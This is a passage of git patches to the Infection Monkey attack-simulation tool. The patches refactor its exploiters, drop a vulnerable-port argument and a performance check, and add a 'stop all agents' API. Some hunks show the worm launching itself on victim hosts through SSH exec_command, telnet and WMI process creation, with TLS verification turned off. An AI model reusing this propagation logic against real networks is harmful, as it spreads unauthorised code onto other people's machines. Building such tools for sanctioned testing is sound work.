MONKEY_CMDLINE_DETACHED_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port - ) + } + build_monkey_commandline(self.host, get_monkey_depth() - 1) smb_conn = False for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): @@ -198,11 +193,3 @@ class SmbExploiter(HostExploiter): ) ) return True - - def set_vulnerable_port(self): - if "tcp-445" in self.host.services: - self.vulnerable_port = "445" - elif "tcp-139" in self.host.services: - self.vulnerable_port = "139" - else: - self.vulnerable_port = None diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index be59b0ca6..0af7f7174 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -197,9 +197,7 @@ class SSHExploiter(HostExploiter): try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT - ) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 9ef73090b..25aca3321 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -80,10 +80,6 @@ class HTTPTools(object): httpd, ) - @staticmethod - def get_port_from_url(url: str) -> int: - return urllib.parse.urlparse(url).port - class MonkeyHTTPServer(HTTPTools): def __init__(self, host): diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index a8ce60a40..48fd19573 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -53,7 +53,6 @@ class WebRCE(HostExploiter): self.skip_exist = self._config.skip_exploit_if_file_exist self.vulnerable_urls = [] self.target_url = None - self.vulnerable_port = None def get_exploit_config(self): """ @@ -106,7 +105,6 @@ class WebRCE(HostExploiter): return False self.target_url = self.get_target_url() - self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url) # Skip if monkey already exists and this option is given if ( @@ -455,18 +453,14 @@ class WebRCE(HostExploiter): default_path = self.get_default_dropper_path() if default_path is False: return False - monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path - ) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) command = RUN_MONKEY % { "monkey_path": path, "monkey_type": DROPPER_ARG, "parameters": monkey_cmd, } else: - monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, self.vulnerable_port - ) + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) command = RUN_MONKEY % { "monkey_path": path, "monkey_type": MONKEY_ARG, diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index cff31e083..db6df1212 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -289,15 +289,12 @@ class Ms08_067_Exploiter(HostExploiter): } + build_monkey_commandline( self.host, get_monkey_depth() - 1, - SRVSVC_Exploit.TELNET_PORT, self._config.dropper_target_path_win_32, ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT - ) + } + build_monkey_commandline(self.host, get_monkey_depth() - 1) try: sock.send(("start %s\r\n" % (cmdline,)).encode()) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 5af6606c4..54095d1e7 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -20,7 +20,6 @@ class WmiExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "WMI (Windows Management Instrumentation)" - VULNERABLE_PORT = 135 def __init__(self, host): super(WmiExploiter, self).__init__(host) @@ -113,15 +112,12 @@ class WmiExploiter(HostExploiter): } + build_monkey_commandline( self.host, get_monkey_depth() - 1, - WmiExploiter.VULNERABLE_PORT, self._config.dropper_target_path_win_32, ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline( - self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT - ) + } + build_monkey_commandline(self.host, get_monkey_depth() - 1) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index a43639614..a882b17de 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -36,7 +36,6 @@ class ZerologonExploiter(HostExploiter): def __init__(self, host: object): super().__init__(host) - self.vulnerable_port = None self.exploit_info["credentials"] = {} self.exploit_info["password_restored"] = None self._extracted_creds = {} diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 4eb959129..7236af3fd 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -50,7 +50,6 @@ class InfectionMonkey: arg_parser.add_argument("-t", "--tunnel") arg_parser.add_argument("-s", "--server") arg_parser.add_argument("-d", "--depth", type=int) - arg_parser.add_argument("-vp", "--vulnerable-port") opts, _ = arg_parser.parse_known_args(args) InfectionMonkey._log_arguments(opts) return opts diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index ee2f0153a..284729206 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -3,9 +3,7 @@ from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG from infection_monkey.model.host import VictimHost -def build_monkey_commandline( - target_host: VictimHost, depth: int, vulnerable_port: str, location: str = None -) -> str: +def build_monkey_commandline(target_host: VictimHost, depth: int, location: str = None) -> str: return " " + " ".join( build_monkey_commandline_explicitly( @@ -14,7 +12,6 @@ def build_monkey_commandline( target_host.default_server, depth, location, - vulnerable_port, ) ) @@ -25,7 +22,6 @@ def build_monkey_commandline_explicitly( server: str = None, depth: int = None, location: str = None, - vulnerable_port: str = None, ) -> list: cmdline = [] @@ -46,9 +42,6 @@ def build_monkey_commandline_explicitly( if location is not None: cmdline.append("-l") cmdline.append(str(location)) - if vulnerable_port is not None: - cmdline.append("-vp") - cmdline.append(str(vulnerable_port)) return cmdline diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index a3f210533..5d33cb8ae 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -20,11 +20,9 @@ def test_build_monkey_commandline_explicitly_arguments(): "0", "-l", "C:\\windows\\abc", - "-vp", - "80", ] actual = build_monkey_commandline_explicitly( - "101010", "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc", "80" + "101010", "10.10.101.10", "127.127.127.127:5000", 0, "C:\\windows\\abc" ) assert expected == actual @@ -100,9 +98,7 @@ def test_build_monkey_commandline(): example_host = VictimHost(ip_addr="bla") example_host.set_default_server("101010") - expected = f" -p {GUID} -s 101010 -d 0 -l /home/bla -vp 80" - actual = build_monkey_commandline( - target_host=example_host, depth=0, vulnerable_port="80", location="/home/bla" - ) + expected = f" -p {GUID} -s 101010 -d 0 -l /home/bla" + actual = build_monkey_commandline(target_host=example_host, depth=0, location="/home/bla") assert expected == actual From 32c2d744b5a3f7784f2a22c9555495221660b70c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Dec 2021 13:21:44 -0500 Subject: [PATCH 0086/1110] Agent: Remove should_monkey_run() performance check --- monkey/infection_monkey/control.py | 12 ------------ monkey/infection_monkey/monkey.py | 20 -------------------- 2 files changed, 32 deletions(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 88a8e43fa..9d89854cc 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -407,18 +407,6 @@ class ControlClient(object): except requests.exceptions.RequestException: return False - @staticmethod - def should_monkey_run(vulnerable_port: str) -> bool: - if ( - vulnerable_port - and WormConfiguration.get_hop_distance_to_island() > 1 - and ControlClient.can_island_see_port(vulnerable_port) - and WormConfiguration.started_on_island - ): - return False - - return True - @staticmethod def can_island_see_port(port): try: diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7236af3fd..e63484e70 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -13,7 +13,6 @@ from infection_monkey.control import ControlClient from infection_monkey.master.mock_master import MockMaster from infection_monkey.model import DELAY_DELETE_CMD from infection_monkey.network.firewall import app as firewall -from infection_monkey.network.tools import is_running_on_island from infection_monkey.puppet.mock_puppet import MockPuppet from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem @@ -144,13 +143,6 @@ class InfectionMonkey: def _setup(self): logger.debug("Starting the setup phase.") - if self._should_exit_for_performance(): - logger.info( - "Monkey shouldn't run on current machine to improve perfomance" - "(it will be exploited later with more depth)." - ) - return - if firewall.is_enabled(): firewall.add_firewall_rule() @@ -163,18 +155,6 @@ class InfectionMonkey: register_signal_handlers(self._master) - def _should_exit_for_performance(self): - """ - This method implements propagation performance enhancing algorithm that - kicks in if the run was started from the Island. - Should get replaced by other, better performance enhancement solutions - """ - if is_running_on_island(): - WormConfiguration.started_on_island = True - ControlClient.report_start_on_island() - - return not ControlClient.should_monkey_run(self._opts.vulnerable_port) - def _is_another_monkey_running(self): return not self._singleton.try_lock() From 476b6c3b36a9c83c9bd3a6bafee739fbe0a8d4dd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Dec 2021 13:24:58 -0500 Subject: [PATCH 0087/1110] Agent: Remove can_island_see_port() --- monkey/infection_monkey/control.py | 21 +-------------------- 1 file changed, 1 insertion(+), 20 deletions(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 9d89854cc..878945433 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -13,11 +13,7 @@ import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from common.common_consts.time_formats import DEFAULT_TIME_FORMAT -from common.common_consts.timeouts import ( - LONG_REQUEST_TIMEOUT, - MEDIUM_REQUEST_TIMEOUT, - SHORT_REQUEST_TIMEOUT, -) +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.config import GUID, WormConfiguration from infection_monkey.network.info import local_ips from infection_monkey.transport.http import HTTPConnectProxy @@ -407,21 +403,6 @@ class ControlClient(object): except requests.exceptions.RequestException: return False - @staticmethod - def can_island_see_port(port): - try: - url = ( - f"https://{WormConfiguration.current_server}/api/monkey_control" - f"/check_remote_port/{port}" - ) - response = requests.get( # noqa: DUO123 - url, verify=False, timeout=SHORT_REQUEST_TIMEOUT - ) - response = json.loads(response.content.decode()) - return response["status"] == "port_visible" - except requests.exceptions.RequestException: - return False - @staticmethod def report_start_on_island(): requests.post( # noqa: DUO123 From 5052e21d97e21d0393af2f6eaf78db1d2efdadde Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 7 Dec 2021 13:25:16 -0500 Subject: [PATCH 0088/1110] Island: Remove /api/monkey_control/check_remote_port/ --- CHANGELOG.md | 1 + monkey/monkey_island/cc/app.py | 2 -- .../resources/monkey_control/remote_port_check.py | 14 -------------- 3 files changed, 1 insertion(+), 16 deletions(-) delete mode 100644 monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 7f5a59bb8..3af52e3b9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -33,6 +33,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Max iterations and timeout between iterations config options. #1600 - MITRE ATT&CK configuration screen. #1532 - Propagation credentials from "GET /api/monkey/" endpoint. #1538 +- "GET /api/monkey_control/check_remote_port/" endpoint. #1635 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 376d0221b..5bb4b80bc 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -30,7 +30,6 @@ from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun from monkey_island.cc.resources.log import Log from monkey_island.cc.resources.monkey import Monkey -from monkey_island.cc.resources.monkey_control.remote_port_check import RemotePortCheck from monkey_island.cc.resources.monkey_control.started_on_island import StartedOnIsland from monkey_island.cc.resources.monkey_control.stop_agent_check import StopAgentCheck from monkey_island.cc.resources.monkey_download import MonkeyDownload @@ -173,7 +172,6 @@ def init_api_resources(api): api.add_resource(PropagationCredentials, "/api/propagationCredentials") api.add_resource(RemoteRun, "/api/remote-monkey", "/api/remote-monkey/") api.add_resource(VersionUpdate, "/api/version-update", "/api/version-update/") - api.add_resource(RemotePortCheck, "/api/monkey_control/check_remote_port/") api.add_resource(StartedOnIsland, "/api/monkey_control/started_on_island") api.add_resource(StopAgentCheck, "/api/monkey_control/") api.add_resource(ScoutSuiteAuth, "/api/scoutsuite_auth/") diff --git a/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py b/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py deleted file mode 100644 index 06e49b145..000000000 --- a/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py +++ /dev/null @@ -1,14 +0,0 @@ -import flask_restful -from flask import request - -from monkey_island.cc.services.remote_port_check import check_tcp_port - - -class RemotePortCheck(flask_restful.Resource): - - # Used by monkey. can't secure. - def get(self, port): - if port and check_tcp_port(request.remote_addr, port): - return {"status": "port_visible"} - else: - return {"status": "port_invisible"} From 52369f0fae4578d13138c76f655e99357c8945c5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 2 Dec 2021 12:43:03 +0200 Subject: [PATCH 0089/1110] Island: rename "monkey_control" resource folder to "agent_controls" --- monkey/monkey_island/cc/app.py | 8 +++++--- .../monkey_island/cc/resources/agent_controls/__init__.py | 3 +++ .../started_on_island.py | 0 .../stop_agent_check.py | 0 .../monkey_island/cc/resources/monkey_control/__init__.py | 0 5 files changed, 8 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/agent_controls/__init__.py rename monkey/monkey_island/cc/resources/{monkey_control => agent_controls}/started_on_island.py (100%) rename monkey/monkey_island/cc/resources/{monkey_control => agent_controls}/stop_agent_check.py (100%) delete mode 100644 monkey/monkey_island/cc/resources/monkey_control/__init__.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 333232bd2..d3628c475 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -8,6 +8,10 @@ from werkzeug.exceptions import NotFound from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from monkey_island.cc.database import database, mongo +from monkey_island.cc.resources.agent_controls import ( + StartedOnIsland, + StopAgentCheck, +) from monkey_island.cc.resources.attack.attack_report import AttackReport from monkey_island.cc.resources.auth.auth import Authenticate, init_jwt from monkey_island.cc.resources.auth.registration import Registration @@ -30,8 +34,6 @@ from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun from monkey_island.cc.resources.log import Log from monkey_island.cc.resources.monkey import Monkey -from monkey_island.cc.resources.monkey_control.started_on_island import StartedOnIsland -from monkey_island.cc.resources.monkey_control.stop_agent_check import StopAgentCheck from monkey_island.cc.resources.monkey_download import MonkeyDownload from monkey_island.cc.resources.netmap import NetMap from monkey_island.cc.resources.node import Node @@ -97,6 +99,7 @@ def init_app_config(app, mongo_url): # See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. app.config["JSON_SORT_KEYS"] = False + app.url_map.strict_slashes = False app.json_encoder = CustomJSONEncoder @@ -124,7 +127,6 @@ def init_api_resources(api): api.add_resource( Monkey, "/api/monkey", - "/api/monkey/", "/api/monkey/", "/api/monkey//", ) diff --git a/monkey/monkey_island/cc/resources/agent_controls/__init__.py b/monkey/monkey_island/cc/resources/agent_controls/__init__.py new file mode 100644 index 000000000..c4f63322f --- /dev/null +++ b/monkey/monkey_island/cc/resources/agent_controls/__init__.py @@ -0,0 +1,3 @@ +from .stop_all_agents import StopAllAgents +from .started_on_island import StartedOnIsland +from .stop_agent_check import StopAgentCheck diff --git a/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py b/monkey/monkey_island/cc/resources/agent_controls/started_on_island.py similarity index 100% rename from monkey/monkey_island/cc/resources/monkey_control/started_on_island.py rename to monkey/monkey_island/cc/resources/agent_controls/started_on_island.py diff --git a/monkey/monkey_island/cc/resources/monkey_control/stop_agent_check.py b/monkey/monkey_island/cc/resources/agent_controls/stop_agent_check.py similarity index 100% rename from monkey/monkey_island/cc/resources/monkey_control/stop_agent_check.py rename to monkey/monkey_island/cc/resources/agent_controls/stop_agent_check.py diff --git a/monkey/monkey_island/cc/resources/monkey_control/__init__.py b/monkey/monkey_island/cc/resources/monkey_control/__init__.py deleted file mode 100644 index e69de29bb..000000000 From 9d7c7073c3678d26ff84da4c524b0354d34f5aba Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 3 Dec 2021 15:09:17 +0200 Subject: [PATCH 0090/1110] Monkey, Island: use process start timestamp to track monkey start time instead of datetime string of wakeup call This change allows us to avoid the issues where agents are on a different timezone than island and process start time is more precise than --- monkey/infection_monkey/control.py | 5 ++--- monkey/infection_monkey/utils/agent_process.py | 8 ++++++++ monkey/monkey_island/cc/models/monkey.py | 3 ++- .../reporting/exploitations/manual_exploitation.py | 3 ++- monkey/monkey_island/cc/services/utils/formatting.py | 7 +++++++ 5 files changed, 21 insertions(+), 5 deletions(-) create mode 100644 monkey/infection_monkey/utils/agent_process.py create mode 100644 monkey/monkey_island/cc/services/utils/formatting.py diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 878945433..71e1fb8f0 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -1,7 +1,6 @@ import json import logging import platform -from datetime import datetime from pprint import pformat from socket import gethostname from urllib.parse import urljoin @@ -12,12 +11,12 @@ from requests.exceptions import ConnectionError import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH -from common.common_consts.time_formats import DEFAULT_TIME_FORMAT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.config import GUID, WormConfiguration from infection_monkey.network.info import local_ips from infection_monkey.transport.http import HTTPConnectProxy from infection_monkey.transport.tcp import TcpProxy +from infection_monkey.utils import agent_process from infection_monkey.utils.environment import is_windows_os requests.packages.urllib3.disable_warnings() @@ -52,7 +51,7 @@ class ControlClient(object): "description": " ".join(platform.uname()), "config": WormConfiguration.as_dict(), "parent": parent, - "launch_time": str(datetime.now().strftime(DEFAULT_TIME_FORMAT)), + "launch_time": agent_process.get_start_time(), } if ControlClient.proxies: diff --git a/monkey/infection_monkey/utils/agent_process.py b/monkey/infection_monkey/utils/agent_process.py new file mode 100644 index 000000000..52d75451b --- /dev/null +++ b/monkey/infection_monkey/utils/agent_process.py @@ -0,0 +1,8 @@ +import os + +import psutil + + +def get_start_time() -> float: + agent_process = psutil.Process(os.getpid()) + return agent_process.create_time() diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 24c8363d3..9fbf15eb2 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -9,6 +9,7 @@ from mongoengine import ( DoesNotExist, DynamicField, EmbeddedDocumentField, + FloatField, ListField, ReferenceField, StringField, @@ -38,7 +39,7 @@ class Monkey(Document): description = StringField() hostname = StringField() ip_addresses = ListField(StringField()) - launch_time = StringField() + launch_time = FloatField() keepalive = DateTimeField() modifytime = DateTimeField() # TODO make "parent" an embedded document, so this can be removed and the schema explained ( diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py b/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py index 303fe8db5..9e10d0abc 100644 --- a/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py +++ b/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py @@ -3,6 +3,7 @@ from typing import List from monkey_island.cc.database import mongo from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.utils.formatting import timestamp_to_date @dataclass @@ -27,5 +28,5 @@ def monkey_to_manual_exploitation(monkey: dict) -> ManualExploitation: return ManualExploitation( hostname=monkey["hostname"], ip_addresses=monkey["ip_addresses"], - start_time=monkey["launch_time"], + start_time=timestamp_to_date(monkey["launch_time"]), ) diff --git a/monkey/monkey_island/cc/services/utils/formatting.py b/monkey/monkey_island/cc/services/utils/formatting.py new file mode 100644 index 000000000..5f356cf49 --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/formatting.py @@ -0,0 +1,7 @@ +from datetime import datetime + +from common.common_consts.time_formats import DEFAULT_TIME_FORMAT + + +def timestamp_to_date(timestamp: int) -> str: + return datetime.fromtimestamp(timestamp).strftime(DEFAULT_TIME_FORMAT) From 4fdd3370cafdbe027deb7068070d4b466c48617b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 3 Dec 2021 16:21:31 +0200 Subject: [PATCH 0091/1110] Island, UI: implement the endpoint for stopping all monkeys, change the UI to call this endpoint and send a timestamp of button press --- .../master/control_channel.py | 5 +- monkey/monkey_island/cc/app.py | 32 +++---- .../cc/models/agent_controls/__init__.py | 1 + .../models/agent_controls/agent_controls.py | 7 ++ monkey/monkey_island/cc/models/config.py | 3 +- .../agent_controls/stop_agent_check.py | 7 +- .../agent_controls/stop_all_agents.py | 18 ++++ monkey/monkey_island/cc/resources/root.py | 6 +- monkey/monkey_island/cc/services/database.py | 2 + .../cc/services/infection_lifecycle.py | 94 +++++++++++-------- .../map/preview-pane/PreviewPane.js | 1 + .../cc/ui/src/components/pages/MapPage.js | 9 +- vulture_allowlist.py | 3 + 13 files changed, 121 insertions(+), 67 deletions(-) create mode 100644 monkey/monkey_island/cc/models/agent_controls/__init__.py create mode 100644 monkey/monkey_island/cc/models/agent_controls/agent_controls.py create mode 100644 monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index 3509cedc2..17a2d3287 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -19,9 +19,12 @@ class ControlChannel(IControlChannel): self._control_channel_server = server def should_agent_stop(self) -> bool: + if not self._control_channel_server: + logger.error("Agent should stop because it can't connect to the C&C server.") + return True try: response = requests.get( # noqa: DUO123 - f"{self._control_channel_server}/api/monkey_control/{self._agent_id}", + f"https://{self._control_channel_server}/api/monkey_control/needs-to-stop/{self._agent_id}", verify=False, proxies=ControlClient.proxies, timeout=SHORT_REQUEST_TIMEOUT, diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index d3628c475..ea0556720 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -11,6 +11,7 @@ from monkey_island.cc.database import database, mongo from monkey_island.cc.resources.agent_controls import ( StartedOnIsland, StopAgentCheck, + StopAllAgents, ) from monkey_island.cc.resources.attack.attack_report import AttackReport from monkey_island.cc.resources.auth.auth import Authenticate, init_jwt @@ -131,25 +132,23 @@ def init_api_resources(api): "/api/monkey//", ) api.add_resource(Bootloader, "/api/bootloader/") - api.add_resource(LocalRun, "/api/local-monkey", "/api/local-monkey/") - api.add_resource(ClientRun, "/api/client-monkey", "/api/client-monkey/") - api.add_resource( - Telemetry, "/api/telemetry", "/api/telemetry/", "/api/telemetry/" - ) + api.add_resource(LocalRun, "/api/local-monkey") + api.add_resource(StopAgentCheck, "/api/local-monkey") + api.add_resource(ClientRun, "/api/client-monkey") + api.add_resource(Telemetry, "/api/telemetry", "/api/telemetry/") api.add_resource(IslandMode, "/api/island-mode") - api.add_resource(IslandConfiguration, "/api/configuration/island", "/api/configuration/island/") + api.add_resource(IslandConfiguration, "/api/configuration/island") api.add_resource(ConfigurationExport, "/api/configuration/export") api.add_resource(ConfigurationImport, "/api/configuration/import") api.add_resource( MonkeyDownload, "/api/monkey/download", - "/api/monkey/download/", "/api/monkey/download/", ) - api.add_resource(NetMap, "/api/netmap", "/api/netmap/") - api.add_resource(Edge, "/api/netmap/edge", "/api/netmap/edge/") - api.add_resource(Node, "/api/netmap/node", "/api/netmap/node/") + api.add_resource(NetMap, "/api/netmap") + api.add_resource(Edge, "/api/netmap/edge") + api.add_resource(Node, "/api/netmap/node") api.add_resource(NodeStates, "/api/netmap/nodeStates") api.add_resource(SecurityReport, "/api/report/security") @@ -160,9 +159,9 @@ def init_api_resources(api): api.add_resource(MonkeyExploitation, "/api/exploitations/monkey") api.add_resource(ZeroTrustFindingEvent, "/api/zero-trust/finding-event/") - api.add_resource(TelemetryFeed, "/api/telemetry-feed", "/api/telemetry-feed/") - api.add_resource(Log, "/api/log", "/api/log/") - api.add_resource(IslandLog, "/api/log/island/download", "/api/log/island/download/") + api.add_resource(TelemetryFeed, "/api/telemetry-feed") + api.add_resource(Log, "/api/log") + api.add_resource(IslandLog, "/api/log/island/download") api.add_resource(PBAFileDownload, "/api/pba/download/") api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH) api.add_resource( @@ -172,10 +171,11 @@ def init_api_resources(api): "/api/fileUpload/?restore=", ) api.add_resource(PropagationCredentials, "/api/propagation-credentials/") - api.add_resource(RemoteRun, "/api/remote-monkey", "/api/remote-monkey/") - api.add_resource(VersionUpdate, "/api/version-update", "/api/version-update/") + api.add_resource(RemoteRun, "/api/remote-monkey") + api.add_resource(VersionUpdate, "/api/version-update") api.add_resource(StartedOnIsland, "/api/monkey_control/started_on_island") - api.add_resource(StopAgentCheck, "/api/monkey_control/") + api.add_resource(StopAgentCheck, "/api/monkey_control/needs-to-stop/") + api.add_resource(StopAllAgents, "/api/monkey_control/stop-all-agents") api.add_resource(ScoutSuiteAuth, "/api/scoutsuite_auth/") api.add_resource(AWSKeys, "/api/aws_keys") diff --git a/monkey/monkey_island/cc/models/agent_controls/__init__.py b/monkey/monkey_island/cc/models/agent_controls/__init__.py new file mode 100644 index 000000000..e623955c3 --- /dev/null +++ b/monkey/monkey_island/cc/models/agent_controls/__init__.py @@ -0,0 +1 @@ +from .agent_controls import AgentControls diff --git a/monkey/monkey_island/cc/models/agent_controls/agent_controls.py b/monkey/monkey_island/cc/models/agent_controls/agent_controls.py new file mode 100644 index 000000000..37903d5e7 --- /dev/null +++ b/monkey/monkey_island/cc/models/agent_controls/agent_controls.py @@ -0,0 +1,7 @@ +from mongoengine import Document, FloatField + + +class AgentControls(Document): + + # Timestamp of the last "kill all agents" command + last_stop_all = FloatField(default=None) diff --git a/monkey/monkey_island/cc/models/config.py b/monkey/monkey_island/cc/models/config.py index f4af7b400..f2b82a8b4 100644 --- a/monkey/monkey_island/cc/models/config.py +++ b/monkey/monkey_island/cc/models/config.py @@ -1,4 +1,4 @@ -from mongoengine import EmbeddedDocument +from mongoengine import EmbeddedDocument, BooleanField class Config(EmbeddedDocument): @@ -8,5 +8,6 @@ class Config(EmbeddedDocument): See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist """ + alive = BooleanField() meta = {"strict": False} pass diff --git a/monkey/monkey_island/cc/resources/agent_controls/stop_agent_check.py b/monkey/monkey_island/cc/resources/agent_controls/stop_agent_check.py index 817d6db94..3fb948a68 100644 --- a/monkey/monkey_island/cc/resources/agent_controls/stop_agent_check.py +++ b/monkey/monkey_island/cc/resources/agent_controls/stop_agent_check.py @@ -1,9 +1,8 @@ import flask_restful +from monkey_island.cc.services.infection_lifecycle import should_agent_die + class StopAgentCheck(flask_restful.Resource): def get(self, monkey_guid: int): - if monkey_guid % 2: - return {"stop_agent": True} - else: - return {"stop_agent": False} + return {"stop_agent": should_agent_die(monkey_guid)} diff --git a/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py b/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py new file mode 100644 index 000000000..8d9c558ad --- /dev/null +++ b/monkey/monkey_island/cc/resources/agent_controls/stop_all_agents.py @@ -0,0 +1,18 @@ +import json + +import flask_restful +from flask import make_response, request + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.infection_lifecycle import set_stop_all + + +class StopAllAgents(flask_restful.Resource): + @jwt_required + def post(self): + data = json.loads(request.data) + if data["kill_time"]: + set_stop_all(data["kill_time"]) + return make_response({}, 200) + else: + return make_response({}, 400) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 41ff4e3ad..d3a36e6a2 100644 --- a/monkey/monkey_island/cc/resources/root.py 